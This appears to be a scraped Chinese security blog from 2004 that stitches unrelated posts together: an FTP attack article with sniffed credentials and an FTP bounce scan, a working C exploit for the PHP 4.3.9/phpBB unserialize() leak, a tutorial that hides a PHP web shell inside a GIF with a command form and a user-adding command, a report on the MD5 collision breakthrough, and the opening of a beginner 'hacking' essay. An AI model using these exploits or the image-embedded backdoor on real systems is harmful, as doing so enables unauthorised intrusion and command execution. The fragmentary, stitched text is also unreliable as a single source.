=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



08/24-15:24:13.560516 0:D0:F8:51:FC:81 -> 0:E0:4C:F0:E0:EA type:0×800 len:0×64


xxx.xxx.xxx.xxx:21 -> 192.168.10.8:32790 TCP TTL:56 TOS:0×0 ID:29146 IpLen:20 DgmLen:86 DF


***AP*** Seq: 0×1BD963BF Ack: 0×407F7F84 Win: 0×16A0 TcpLen: 32


TCP Options (3) => NOP NOP TS: 1353916426 848536


33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69 331 Please speci


66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E fy the password.


0D 0A ..



=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



08/24-15:24:13.571556 0:E0:4C:F0:E0:EA -> 0:D0:F8:51:FC:81 type:0×800 len:0×42


192.168.10.8:32790 -> xxx.xxx.xxx.xxx:21 TCP TTL:64 TOS:0×10 ID:36424 IpLen:20 DgmLen:52 DF


***A**** Seq: 0×407F7F84 Ack: 0×1BD963E1 Win: 0×16D0 TcpLen: 32


TCP Options (3) => NOP NOP TS: 848542 1353916426



=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



08/24-15:24:21.364315 0:E0:4C:F0:E0:EA -> 0:D0:F8:51:FC:81 type:0×800 len:0×54


192.168.10.8:32790 -> xxx.xxx.xxx.xxx:21 TCP TTL:64 TOS:0×10 ID:36425 IpLen:20 DgmLen:70 DF


***AP*** Seq: 0×407F7F84 Ack: 0×1BD963E1 Win: 0×16D0 TcpLen: 32


TCP Options (3) => NOP NOP TS: 849321 1353916426


50 41 53 53 20 78 70 6C 6F 72 65 5F 32 30 30 34 PASS test


0D 0A ..



=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


这样就我们就可以看到该ftp服务器上的用户名是:xinhe和密码:test。



三、FTP旗标


这个问题相对来说不是很严重,现在很多服务软件都有这类问题,黑客在发起攻击之前一般要先确定对方所用的版本号。这样便于选择攻击程序。以下是一个例子:


[xinhe@xinhe xinhe]$ ftp xxx.xxx.xxx.xxx


Connected to xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx).


220-Serv-U FTP Server v5.1 for WinSock ready…


220 S TEAM


这此信息我们可知该服务器使用的服务软件可能就是Serv-U 5.1



四、通过FTP服务器进行端口扫描


FTP客户端所发送的PORT命令告诉服务器FTP服务器传送数据时应当连向的IP和端口,通常,这就是FTP客户所在机器的IP地址及其所绑定的端口。然而FTP协议本身并没有要求客户发送的PORT命令中必须指定自已的IP。


利用这一点,黑客就可以通过第三方FTP服务器对目标机器进行端口扫描,这种方式一般称为FTP反射,对黑客而言,这种扫描方式具有以下两个优点:


(1)提供匿名性


由于端口扫描的源地址为FTP服务器的IP地址,而不是黑客的机器,所以这种方式很好的隐藏了黑客的真实IP。


(2)避免阻塞


由于通过第三方FTP服务器进行扫描,即使目标机器通过添加内核ACL或无效路由来自动阻塞对其进行扫描的机器,但黑客可以过不过的FTP服务器来完成其扫描工作。


Nmap就可以实现这一扫描过程,以下是一次利用ftp服务器进行扫描的实例。


[xinhe@xinhe xinhe]$ nmap -b xinhe:test@xxx.xxx.xxx.xxx:21 -v xxx.xxx.xxx.xxx

Hint: if your bounce scan target hosts aren’t reachable from here,
remember to use -P0 so we don’t try and ping them prior to the scan



Starting nmap 3.48 ( http://www.insecure.org/nmap/ ) at 2004-08-24 20:16 CST


Resolved ftp bounce attack proxy to xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx).


Machine xxx.xxx.xxx.xxx MIGHT actually be listening on probe port 80


Host xxx.xxx.xxx.xxx appears to be up … good.


Attempting connection to ftp://xinhe:test@xxx.xxx.xxx.xxx:21


Connected:220 Welcome to FTP service.


Login credentials accepted by ftp server!


Initiating TCP ftp bounce scan against xxx.xxx.xxx.xxx at 20:16


Adding open port 237/tcp


Deleting port 237/tcp, which we thought was open


Changed my mind about port 237


Adding open port 434/tcp


Deleting port 434/tcp, which we thought was open


Changed my mind about port 434


Adding open port 1509/tcp


Deleting port 1509/tcp, which we thought was open


Changed my mind about port 1509


Adding open port 109/tcp


Deleting port 109/tcp, which we thought was open


Changed my mind about port 109


Adding open port 766/tcp


Deleting port 766/tcp, which we thought was open


Changed my mind about port 766


Adding open port 1987/tcp


Deleting port 1987/tcp, which we thought was open


Changed my mind about port 1987


Adding open port 5998/tcp


Deleting port 5998/tcp, which we thought was open


Changed my mind about port 5998


Adding open port 1666/tcp


Deleting port 1666/tcp, which we thought was open


Changed my mind about port 1666


Adding open port 506/tcp


Deleting port 506/tcp, which we thought was open


Changed my mind about port 506


caught SIGINT signal, cleaning up




五、数据劫持


我们在前面讲了FTP的数据传输过程,同样FTP协议本身本并没有要求传输命令的客户IP和进行数据传输的客户IP一致,这样黑客就有可能劫持到客户和服务器之间传送的数据。根据数据传输的模式可把数据劫持分为主动数据劫持和被动数据劫持。


1、被动数据劫持


跟据前面讲的被动传输过程我们可以看出,在FTP客户端发出PASV或PORT命令之后并且在发出数据请求之前,存在一个易受攻击的窗口。如果黑客能猜到这个端口,就能够连接并载取或替换正在发送的数据。


要实现被动数据劫持就必须知道服务器上打开的临时端口号,然后很多服务器并不是随机选取端口,而是采用递增的方式,这样黑客要猜到这个端口号就不是很难了。


2、主动数据劫持


主动数据劫持比被动数据劫持要困难很多,因为在主动传输的模式下是由客户打开临时端口来进行数据传输,而黑客是很难找到客户的IP和临时端口的。




第三章 安全策略


一、使用较比安全的系统和FTP服务软件


这里安全的系统主要是最好不要采用windows系统作服务器,因为系统本身的安全性就很成问题,windows每年都要暴N个漏洞,一旦有溢出漏洞很可
能就能拿到管理员权限。一旦系统被入侵了,运行在此系统之上的服务也就无安全性可言。Linux和BSD都将是不错的选择。


服务软件采用漏洞比较少的,如vsftp,而且确保版本的更新。



二、使用密文传输用户名和口令


这里我们可以采用scp和sftp,也可以使用SSH来转发。这样即使黑客能监听到客户与服务器之间的数据交换,没有密钥也得不到口令。使用SSH转发有
一些条件限制,首先要求服务器和客户端都是主动模式,然后是服务器必须允许命令通道之外的机器向其发送PORT命令。



三、更改服务软件的旗标


更改服务软件的旗标能起到迷惑攻击者的作用,至少能迷惑很多扫描器,造成扫描器的误报,但更改旗标并不是解决安全问题的根本办法,安全漏洞不会因为旗标不同而消失,不过更改总比不改要好一些。现在大多数的服务端软件都可以在配置文件里更改该FTP的旗标。



四、加强协议安全性


这一点是服务软件的提供商需要做的,一是对PORT命令进行检查,PORT后的IP应和客户主机是同一IP,我们对FTP的攻击很多都是通过构造特殊的
PORT命令来实现的,所以PORT命令的使用对于攻击者来说就显得尤为重要了。做到这一点并不是很容易,Wu-ftpd就花了几年的时间。目前针对数据
劫持还没什么完美的防御方法,目前能做的就是检查命令通道和数据通道的IP地址是不是一致,但这也不能百分之百地防止数据劫持的发生。因为客户机和黑客可
能处于同一内网。




后 记


网络已深入到社会生活的方方面面,网络安全也越来越显得重要,FTP协议安全只是网络安全中一个很小的部分,网络安全还有很多工作要做,这篇文章由于时间
的关系写得比较浅显,没有把FTP服务软件的源码拿出来讲(很多好的东西都是开源的),我想如果能把源码拿来对照源码讲FTP的传输过程,这样我们会对
FTP的传输过程有一个本质的了解,也更容易从中找到某些不为人知的安全隐患。



1:立即停用服务器上的phpMyAdmin,或将phpMyAdmin改为比较隐藏路径。因为通过此漏洞一般都可以读出PHP程序连接mysql数据库存的服用户名或密码

2:修改mysql的配置文件/etc/my.cf文件,在[msyqld]一节加上bind-address=127.0.0.1;作用为msyql数据库将只允许本机连接,3306只在127.0.0.1上监听。防止攻击者用其他软件远程连接服务器的3306

3,将PHP升级为4.3.10

如果您是用RPM包安装的或是在装系统时集成安装的,不想重新编译PHP的话这里给出一个简单的办法,将一个编译好的PHP4.3.10的
libphp4.so文件覆盖/etc/httpd/modules/libphp4.so,这样你的PHP就升级了,你可以用phpinfo()来测式
一下。这里提供这个文件的下载

http://bbs.xplore.bbs/libphp4.so

md5sum:48e8ad2600d755cca9b7a92d47e1357c

一个危害比较严重的PHP漏洞,漏洞原因是PHP中unserialize()函数对参数长度的判断不充分。目前官方网站上还没有补丁,为方便测式和自已打修改PHP源码,发布以下利用代码:



代码::


//phpBB 2.x & PHP 4.3.9 unserialize() Exploit for Linux


#include <netdb.h>


#include <sys/socket.h>


#include <sys/types.h>


#include <stdio.h>


#include <stdlib.h>


#include <errno.h>


#include <sys/ioctl.h>


#include <net/if.h>


#include <signal.h>


#include <netinet/ip.h>


#include <netinet/in.h>


#include <string.h>


#include <arpa/inet.h>


#include <netinet/ip_icmp.h>


#include <linux/if_ether.h>



int goodcar(char carac)


{


   unsigned short cpt;


   if(!carac)


      return 0;


   // i hate do like this :/


   char *goodcar
=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVWXYZ012345689<>é@à)]=}è[_-{#&*\\/-+~'ç$%.:;|^~$,!?\"\'\t\r\n
";


   for(cpt = 0;(goodcar[cpt] != ‘\0′) && (goodcar[cpt] != carac);cpt++);


   if(goodcar[cpt] == carac)


      return 1;


   return 0;


}



unsigned int utf8decode(char *utf)


{


   char *r;


   char *w;


   char tmp;


   int han;


   r = w = utf;


   while(*r)


   {


      if(*r ==’%')


      {


         tmp = (char)alphanum(r+1,&han);


         if(han)


         {


            *w = tmp;


            r += 2;


         }


         else


            *w = *r;


      }


      else


         *w = *r;


      w++;


      r++;


   };


   *w = ‘\0′;


   return (w-utf);


}



int alphanum(char *of,char *wesh)


{


   unsigned char retour;


   retour = 0×00;


   *wesh = 0;


   if(!(*of && *(of+1)))


      return 0×00;


   if((*of >= ‘a’) && (*of <= ‘f’))


      retour = ((*of – ‘a’) +10) * 0×10;


   else if((*of >= ‘A’) && (*of <= ‘F’))


      retour = ((*of – ‘A’) +10) * 0×10;


   else if((*of >= ‘0′) && (*of <= ‘9′))


      retour = (*of – ‘0′) * 0×10;


   else


      return 0×00;


   of++;


   if((*of >= ‘a’) && (*of <= ‘f’))


      retour += ((*of – ‘a’) +10);


   else if((*of >= ‘A’) && (*of <= ‘F’))


      retour += ((*of – ‘A’) +10);


   else if((*of >= ‘0′) && (*of <= ‘9′))


      retour += (*of – ‘0′);


   else


      return 0×00;


   *wesh = 1;


   return retour;


}



int main(int argc,char *argv[])


{


   int sockfd;


   struct hostent *hp;


   struct sockaddr_in server_addr;


   char host[80],dir[80];


   char recvbuf[1024];


   char *getbuf;


   int recvsize,nbmemread,compteur,cpt;


   char str[1024];


   strcpy(host,argv[1]);


   strcpy(host,&host[7]);


   strcpy(dir,host);


   strtok(host,”/”);//取得主机名


   strcpy(dir,&dir[strlen(host)]);//取得目录名


   char tmp[]=”%22test1%22%3b”;


   char usage[]=”usage:phpbb <URL> <size> <cookname>\n”


                 ”eg:phpbb http://192.168.1.8/bbs 30000 phpbb2mysql\n”;


   if(argc!=4)


   {


      printf(“%s”,usage);


      exit(0);


   }


   nbmemread=0;


   compteur=0;


   cpt=0;


   sprintf(str,”GET %s HTTP/1.1\n”


               ”Host: %s\n”


               ”Cookie: %s_data=s:%s:%s; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=%s\n”


               ”Cookie: %s_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=%s\n”


               ”Accept-Language: fr\n”


               ”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\n”


               ”Connection: close\n\n”,dir,host,argv[3],argv[2],tmp,host,argv[3],host);


  // printf(“%s\t%s\n”,host,dir);


   //printf(“%s\n”,str);


   


   hp=gethostbyname(host);


   //建立套接口


   if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)


   {


     printf(“Create the Socket faild!\n”);


     exit(1);


   }


   else


   {


     //printf(“Create the socket OK!\n”);


   }


   bzero(&server_addr,sizeof(struct sockaddr_in));


   server_addr.sin_family=AF_INET;


   server_addr.sin_addr=*((struct in_addr *)hp->h_addr);


   server_addr.sin_port=htons(80);


   //与服务器建立连接


   if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)


    {


     printf(“Connect the Server faild!\n”);


    }


    else


   {


      //printf(“Connect the Server OK!\n”);


   }


  //发送数据   


   if(!send(sockfd,str,strlen(str),0))


    {


      printf(“send the data faild!\n”);


    }


    else


   {


      //printf(“send date OK!\n”);


   }


   sleep(1);


   getbuf=(char *)malloc(1024);


   //接收数据


   while(1)


   {


    memset(recvbuf, 0, sizeof(recvbuf));


   recvsize= recv(sockfd,recvbuf,1024,0); 


    if(recvsize>0)


    {


      //printf(“%s\n”,recvbuf);


        strcat(getbuf,recvbuf);      


      if(strstr(recvbuf,”;”))


      {


         break;


      }


      else


      {


         getbuf=(char *)realloc(getbuf,recvsize);


      }


    }


    else


   {


      break;


    }


   }


   char *data=strstr(getbuf,”phpbb2mysql_data=”);


   if(data==NULL)


   {


      printf(“不可用=n”);


      exit(1);


   }


   data=&data[strlen("phpbb2mysql_data=")];


   char *dataend=strstr(getbuf,”;”);


   dataend[0]=’\0′;


  nbmemread = utf8decode(data);


   for(compteur = 0;compteur < nbmemread;)


   {


     for(cpt=compteur;goodcar(data[cpt]);cpt++);


      if((cpt – compteur) > 3 )


        {


         char *wtmp = (char*)malloc((cpt – compteur)+1);


         strncpy(wtmp,&data[compteur],cpt – compteur);


         wtmp[cpt - compteur] = ‘\0′;


         printf(“string detected : %s\n”,wtmp);


         free(wtmp);


       }


      if(!(cpt – compteur))


         cpt++;


         compteur = cpt;


   }


    printf(“\n%s\n”,getbuf);


   //free(data);


   free(getbuf);


 


}




FC2 PHP 4.3.9,PHPBB 2.0.11上测式成功

自从臭要饭的发布了那个脚本隐藏于图片中的程序之后(没看的朋友参见Bugkidz上的文章),不断就有
人来说什么程序不好用拉,图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并,却
一直发现行不通,原因是不明:我一用copy合并后,图片的结构就被我破坏了,放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得其解,发到论坛
上请教又没人睬我。于是我发狠在晚上花了两个小时时间,终于研究出个结果了,呼,好累啊~~~


(由于我是本地试验,而我家的Apache不支持Asp,所以以下都是用的php程序注入,(我只会php)理论上asp一样可行,哪位愿意就帮我试试了,谢了先~~~)


先看看之前我是怎么干的:



C:\>copy 1.gif+2.php 3.gif



上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件(安全模式关闭),代码如下:



<?$cmd=$_POST['cmd'];@system ($cmd);?>



然后在一个wfw.php中加上这么一句:



<?include(“3.gif”);?>


/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数,那么,系统会自动认为这两个文件都是文本文件,而文本文件通常是1A作为结
束标志的,所以系统会在拼接两个文本文件时把前一个文本文件1A后(包括1A)的字符全部去除,以保证新生成文件的正常。这样也就解释了为什么我直接用
copy命令生成的图片会不可见,因为只要其中有1A字符存在,后面的字符都会被去除。


懂了这些,后面的就一帆风顺了。建立一个本地提交POST参数的html表单:



<html>


<head>


&nbsp; &nbsp; &nbsp; <title>图片隐藏脚本后门程序客户端</title>


</head>


<body>


<center><font size=3 color=#555555 class=fonts>图片隐藏脚本后门程序客户端</font><br>By 我非我<br>(命令执行功能)<br><br><br>



<form method=”post” action=”http://localhost/wfw.php” enctype=”multipart/form-data”>


<input type=’text’ name=”cmd” value=”" size=20>


<input type=submit name=”submit” value=”执行”>


<br><br>〖输入系统命令或程序,执行程序请输具体的路径〗


</form>


</center>


</body>


</html>



以上的action中由于我是本地测试,所以填的是localhost,具体用时,要改为那个插入include的文件的URL。


打开那个表单,在命令中我输入:



net user wfw /add



于是页面就跳转到了wfw.php上,出乎我意料的是:图片是完全显示出来了,但本应显示的命令应答却没有显示。于是我查看了一下我的机器,看是否命令完成:



C:>net user



结果是成功了。


小结:经过一段时间的探索和努力,终于成功完成了这个方法,是不是很简单?不需要再下载图片用臭要饭的那个程序加工然后再上传。完全可以轻轻松松
在Webshell中搞定。插入的脚本可以不是我那个脚本(太简陋了,又没回显,不知为何,希望有牛人可以帮我搞定),可以是这样的:把POST的数据直
接保存为另一个phpshell(或是aspshell)当然也可以自定义咯~~(最好插入前先加个密)



下面是一个php的脚本,在图片位置生成一个自定义文件,表单方面我就不写了,把上面的表单稍微改改就好了:



<?


if ($_POST['create'])


{


if (!is_writeable(str_replace(‘\’,'/’,dirname(__FILE__)))) {


&nbsp; &nbsp;exit;


&nbsp; &nbsp; } else {


&nbsp; &nbsp; if (file_exists($_POST['filename'])) {


&nbsp; &nbsp; exit;


&nbsp; &nbsp; } else {


&nbsp; &nbsp; $fp=@fopen(“”.$_POST['filename'].”",”wb”);


&nbsp; &nbsp; $content = $_POST['filedate'];


&nbsp; &nbsp; $fw=@fwrite($fp,$content);


&nbsp; &nbsp; @fclose($fp);


&nbsp; &nbsp; }


}


?>



因为是利用cmd命令执行,所以我就顺便写一个批处理,作用和要饭的那个程序一样。其实没什么意思,只是为了大家记住我这个人罢了。若是不想那么麻烦用批处理程序,直接输入:start下goto end上的语句就可以了。



@echo off


echo.


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;**********************************


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 脚本后门注入图片程序 By 我非我


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mail:wofeiwo1987@yahoo.com.cn


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; QQ:309088292


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;**********************************


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Usage:%0 ^<图片文件^> ^<脚本文件^> ^<生成文件^>


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Eg:%0 1.gif 2.php 3.gif


echo.


if ‘%1′==” goto err


if ‘%2′==” goto err


if ‘%3′==” goto err


:start


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;开始…….


copy /b %1+%2 %3


if not %ERRORLEVEL%==0 goto err


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;图片生成成功!


goto end


:err


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;图片生成失败,请检查各参数是否正确!


:end


echo.



ps:另外,我注意到,图片不一定非要是gif文件,也可以是.bmp.png.jpg等格式,效果同样哦!

2004年09月11日

  2004年8月17日的美国加州圣巴巴拉,正在召开的国际密码学会议(Crypto’2004)安排了三场关于杂凑函数的特别报告。在国际著名密码学家Eli Biham和Antoine Joux相继做了对SHA-1的分析与给出SHA-0的一个碰撞之后,来自山东大学的王小云教授做了破译MD5、HAVAL-128、 MD4和RIPEMD算法的报告。在会场上,当她公布了MD系列算法的破解结果之后,报告被激动的掌声打断。王小云教授的报告轰动了全场,得到了与会专家的赞叹。报告结束时,与会者长时间热烈鼓掌,部分学者起立鼓掌致敬,这在密码学会议上是少见的盛况。王小云教授的报告缘何引起如此大的反响?因为她的研究成果作为密码学领域的重大发现宣告了固若金汤的世界通行密码标准MD5的堡垒轰然倒塌,引发了密码学界的轩然大波。会议总结报告这样写道:“我们该怎么办?MD5被重创了;它即将从应用中淘汰。SHA-1仍然活着,但也见到了它的末日。现在就得开始更换SHA-1了。”

关键词:碰撞=漏洞=别人可以伪造和冒用数字签名。
Hash函数与数字签名(数字手印)
HASH函数,又称杂凑函数,是在信息安全领域有广泛和重要应用的密码算法,它有一种类似于指纹的应用。在网络安全协议中,杂凑函数用来处理电子签名,将冗长的签名文件压缩为一段独特的数字信息,像指纹鉴别身份一样保证原来数字签名文件的合法性和安全性。在前面提到的SHA-1和MD5都是目前最常用的杂凑函数。经过这些算法的处理,原始信息即使只更动一个字母,对应的压缩信息也会变为截然不同的“指纹”,这就保证了经过处理信息的唯一性。为电子商务等提供了数字认证的可能性。
安全的杂凑函数在设计时必须满足两个要求:其一是寻找两个输入得到相同的输出值在计算上是不可行的,这就是我们通常所说的抗碰撞的;其二是找一个输入,能得到给定的输出在计算上是不可行的,即不可从结果推导出它的初始状态。现在使用的重要计算机安全协议,如SSL,PGP都用杂凑函数来进行签名,一旦找到两个文件可以产生相同的压缩值,就可以伪造签名,给网络安全领域带来巨大隐患。
MD5就是这样一个在国内外有着广泛的应用的杂凑函数算法,它曾一度被认为是非常安全的。然而,王小云教授发现,可以很快的找到MD5的“碰撞”,就是两个文件可以产生相同的“指纹”。这意味着,当你在网络上使用电子签名签署一份合同后,还可能找到另外一份具有相同签名但内容迥异的合同,这样两份合同的真伪性便无从辨别。王小云教授的研究成果证实了利用MD5算法的碰撞可以严重威胁信息系统安全,这一发现使目前电子签名的法律效力和技术体系受到挑战。因此,业界专家普林斯顿计算机教授Edward Felten等强烈呼吁信息系统的设计者尽快更换签名算法,而且他们强调这是一个需要立即解决的问题。

国际讲坛 王氏发现艳惊四座
面对Hash函数领域取得的重大研究进展,Crypto 2004 会议总主席StorageTek高级研究员Jim Hughes 17 日早晨表示,此消息太重要了,因此他已筹办该会成立24年来的首次网络广播(Webcast )。Hughes在会议上宣布:“会中将提出三份探讨杂凑碰撞(hash collisions )重要的研究报告。”其中一份是王小云等几位中国研究人员的研究发现。17日晚,王小云教授在会上把他们的研究成果做了宣读。这篇由王小云、冯登国、来学嘉、于红波四人共同完成的文章,囊括了对MD5、HAVAL-128、 MD4和RIPEMD四个著名HASH算法的破译结果。在王小云教授仅公布到他们的第三个惊人成果的时候,会场上已经是掌声四起,报告不得不一度中断。报告结束后,所有与会专家对他们的突出工作报以长时的热烈掌声,有些学者甚至起立鼓掌以示他们的祝贺和敬佩。当人们掌声渐息,来学嘉教授又对文章进行了一点颇有趣味的补充说明。由于版本问题,作者在提交会议论文时使用的一组常数和先行标准不同;在会议发现这一问题之后,王小云教授立即改变了那个常数,在很短的时间内就完成了新的数据分析,这段有惊无险的小插曲倒更加证明了他们论文的信服力,攻击方法的有效性,反而凸显了研究工作的成功。
会议结束时,很多专家围拢到王小云教授身边,既有简短的探讨,又有由衷的祝贺,褒誉之词不绝。包含公钥密码的主要创始人R. L. Rivest和A. Shamir在内的世界顶级的密码学专家也上前表示他们的欣喜和祝贺。
国际密码学专家对王小云教授等人的论文给予高度评价。
MD5的设计者,同时也是国际著名的公钥加密算法标准RSA的第一设计者R.Rivest在邮件中写道:“这些结果无疑给人非常深刻的印象,她应当得到我最热烈的祝贺,当然,我并不希望看到MD5就这样倒下,但人必须尊崇真理。”
Francois Grieu这样说:“王小云、冯登国、来学嘉和于红波的最新成果表明他们已经成功破译了MD4、MD5、HAVAL-128、RIPEMD-128。并且有望以更低的复杂度完成对SHA-0的攻击。一些初步的问题已经解决。他们赢得了非常热烈的掌声。”
另一位专家Greg Rose如此评价:“我刚刚听了Joux和王小云的报告,王所使用的技术能在任何初始值下用2^40次hash运算找出SHA-0的碰撞。她在报告中对四种HASH函数都给出了碰撞,她赢得了长时间的起立喝彩,(这在我印象中还是第一次)。…… 她是当今密码学界的巾帼英雄。……(王小云教授的工作)技术虽然没有公开,但结果是无庸质疑的,这种技术确实存在。…… 我坐在Ron Rivest前面,我听到他评论道:‘我们不得不做很多的重新思考了。’”

石破惊天 MD5堡垒轰然倒塌
一石击起千层浪,MD5的破译引起了密码学界的激烈反响。专家称这是密码学界近年来“最具实质性的研究进展”,各个密码学相关网站竞相报导这一惊人突破。
MD5破解专项网站关闭
MD5破解工程权威网站http://www.md5crk.com/ 是为了公开征集专门针对MD5的攻击而设立的,网站于2004年8月17日宣布:“中国研究人员发现了完整MD5算法的碰撞;Wang, Feng, Lai与Yu公布了MD5、MD4、HAVAL-128、RIPEMD-128几个 Hash函数的碰撞。这是近年来密码学领域最具实质性的研究进展。使用他们的技术,在数个小时内就可以找到MD5碰撞。……由于这个里程碑式的发现,MD5CRK项目将在随后48小时内结束”。
对此,http://www.readyresponse.org主页专门转载了该报道http://www.aspenleaf.com/distributed/distrib-recent.html和几个其它网站也进行了报道。
权威网站相继发表评论或者报告这一重大研究成果
经过统计,在论文发布两周之内,已经有近400个网站发布、引用和评论了这一成果。国内的许多新闻网站也以“演算法安全加密功能露出破绽 密码学界一片哗然”为题报道了这一密码学界的重大事件。(报导见http://www.technewsworld.com/perl/board/mboard.pl?board=lnitalkback&thread=895&id=896&display=1&tview=expanded&mview=flat,该消息在各新闻网站上多次转载。)

东方神韵  MD5终结者来自中国
MD5破解工作的主要成员王小云教授是一个瘦弱、矜持的女子,厚厚的镜片透射出双眸中数学的灵光。她于1990年在山东大学师从著名数学家潘承洞教授攻读数论与密码学专业博士,在潘先生、于秀源、展涛等多位著名教授的悉心指导下,她成功将数论知识应用到密码学中,取得了很多突出成果,先后获得863项目资助和国家自然科学基金项目资助,并且获得部级科技进步奖一项,撰写论文二十多篇。王小云教授从上世纪90年代末开始进行HASH函数的研究,她所带领的于红波、王美琴、孙秋梅、冯骐等组成的密码研究小组,同中科院冯登国教授,上海交大来学嘉等知名学者密切协作,经过长期坚持不懈的努力,找到了破解HASH函数的关键技术,成功的破解了MD5和其它几个HASH函数。
近年来她的工作得到了山东大学和数学院领导的大力支持,特别投资建设了信息安全实验室。山东大学校长展涛教授高度重视王小云教授突出的科研成果。 2004年6月山东大学领导听取王小云教授的工作介绍后,展涛校长亲自签发邀请函邀请国内知名信息安全专家参加2004年7月在威海举办的“山东大学信息安全研究学术研讨会”,数学院院长刘建亚教授组织和主持了会议,会上王小云教授公布了MD5等算法的一系列研究成果,专家们对她的研究成果给予了充分的肯定,对其坚持不懈的科研态度大加赞扬。一位院士说,她的研究水平绝对不比国际上的差。这位院士的结论在时隔一个月之后的国际密码会上得到了验证,国外专家如此强烈的反响表明,我们的工作可以说不但不比国际上的差,而且是在破解HASH函数方面已领先一步。加拿大CertainKey公司早前宣布将给予发现MD5算法第一个碰撞人员一定的奖励,CertainKey的初衷是利用并行计算机通过生日攻击来寻找碰撞,而王小云教授等的攻击相对生日攻击需要更少的计算时间。

数字认证 你的未来不是梦
由于MD5的破译,引发了关于MD5产品是否还能够使用的大辩论。在麻省理工大学Jeffrey I. Schiller教授主持的个人论坛上,许多密码学家在标题为“Bad day at the hash function factory”的辩论中发表了具有价值的意见(http://jis.mit.edu/pipermail/saag/2004q3/000913.html)。这次国际密码学会议的总主席Jimes Hughes发表评论说“我相信这(破解MD5)是真的,并且如果碰撞存在,HMAC也就不再是安全的了,…… 我认为我们应该抛开MD5了。” Hughes建议,程序设计人员最好开始舍弃MD5。他说:“既然现在这种算法的弱点已暴露出来,在有效的攻击发动之前,现在是撤离的时机。”
同样,在普林斯顿大学教授Edwards Felton的个人网站(http://www.freedom-to-tinker.com/archives/000664.html)上,也有类似的评论。他说:“留给我们的是什么呢?MD5已经受了重伤;它的应用就要淘汰。SHA-1仍然活着,但也不会很长,必须立即更换SHA-1,但是选用什么样的算法,这需要在密码研究人员达到共识。”
密码学家Markku-Juhani称“这是HASH函数分析领域激动人心的时刻。(http://www.tcs.hut.fi/~mjos/md5/)”
而著名计算机公司SUN的LINUIX专家Val Henson则说:“以前我们说”SHA-1可以放心用,其他的不是不安全就是未知”, 现在我们只能这么总结了:”SHA-1不安全,其他的都完了”。
针对王小云教授等破译的以MD5为代表的Hash函数算法的报告,美国国家技术与标准局(NIST)于2004年8月24日发表专门评论,评论的主要内容为:“在最近的国际密码学会议(Crypto 2004)上,研究人员宣布他们发现了破解数种HASH算法的方法,其中包括MD4,MD5,HAVAL-128,RIPEMD还有 SHA-0。分析表明,于1994年替代SHA-0成为联邦信息处理标准的SHA-1的减弱条件的变种算法能够被破解;但完整的SHA-1并没有被破解,也没有找到SHA-1的碰撞。研究结果说明SHA-1的安全性暂时没有问题,但随着技术的发展,技术与标准局计划在2010年之前逐步淘汰SHA-1,换用其他更长更安全的算法(如SHA-224、SHA-256、SHA-384和SHA-512)来替代。”
详细评论见:http://csrc.nist.gov/hash_standards_comments.pdf
2004年8月28日,十届全国人大常委会第十一次会议表决通过了电子签名法。这部法律规定,可靠的电子签名与手写签名或者盖章具有同等的法律效力。电子签名法的通过,标志着我国首部“真正意义上的信息化法律”已正式诞生,将于2005年4月1日起施行。专家认为,这部法律将对我国电子商务、电子政务的发展起到极其重要的促进作用。王小云教授的发现无异于发现了信息化天空的一个惊人黑洞。我们期待着王小云教授和她的团队能够成就“女娲补天”的壮举,为人类的信息化之路保驾护航。

2004年08月04日

首先说一下写这篇文章的目的,近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚蠢的问题。这篇文章将确实的向你解释关于“hack”的一些知识。如果你是个初学者,你应当从头到尾通读这篇文章,或者如果你已经进阶了,那就别再往下看了,你应该全都了解的。我或许将往这篇文章中添加一些内容或者让他变得更易于理解。我写这篇文章的最根本的原因是,让别人不再来问我或者其他人如何去做*愚蠢*的事,是的,问如何去黑(how to hack)是*愚蠢*的,它让你看起来愚蠢并且学不到任何东西,当然除非你完全不能自学的话。
